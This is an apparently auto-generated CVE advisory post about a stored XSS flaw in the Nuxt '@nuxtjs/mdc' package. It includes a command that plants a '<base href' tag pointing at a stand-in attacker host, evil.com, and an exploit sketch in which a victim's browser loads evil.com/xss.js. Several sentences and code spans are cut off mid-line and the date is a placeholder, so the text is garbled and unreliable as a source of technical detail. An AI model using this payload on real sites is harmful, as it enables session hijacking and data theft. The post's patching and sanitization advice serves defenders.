Listen to this Post
How the CVE Works
The vulnerability in `@nuxtjs/mdc` allows a malicious actor to inject a `href/src in some cases, `
DailyCVE Form
Platform: Nuxt.js
Version: @nuxtjs/mdc (pre-patch)
Vulnerability: Stored XSS
Severity: Critical
Date: 2023-XX-XX
Prediction: Patch expected within 2 weeks
What Undercode Say
Check if vulnerable version is installed npm list @nuxtjs/mdc Manual sanitization bypass test echo '<base href="https://evil.com">' >> user_content.md CSP bypass check (if applicable) curl -I https://victim.site | grep "content-security-policy"
How Exploit
- Attacker injects `
` into Markdown. - Victim loads page, browser resolves `/xss.js` as `https://evil.com/xss.js`.
3. Attacker’s script executes in victim’s session context.
Protection from this CVE
– Immediate fix: Apply patch when released.
– Workaround: Disable raw HTML or use DOMPurify with FORBID_TAGS: ['base'].
– Permanent mitigation: Sanitize all `
Impact
- Scope: All Nuxt apps using `@nuxtjs/mdc` with user-controlled Markdown.
- Risk: Full session hijacking, data theft, phishing.
- Exploitability: High (no user interaction required).
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

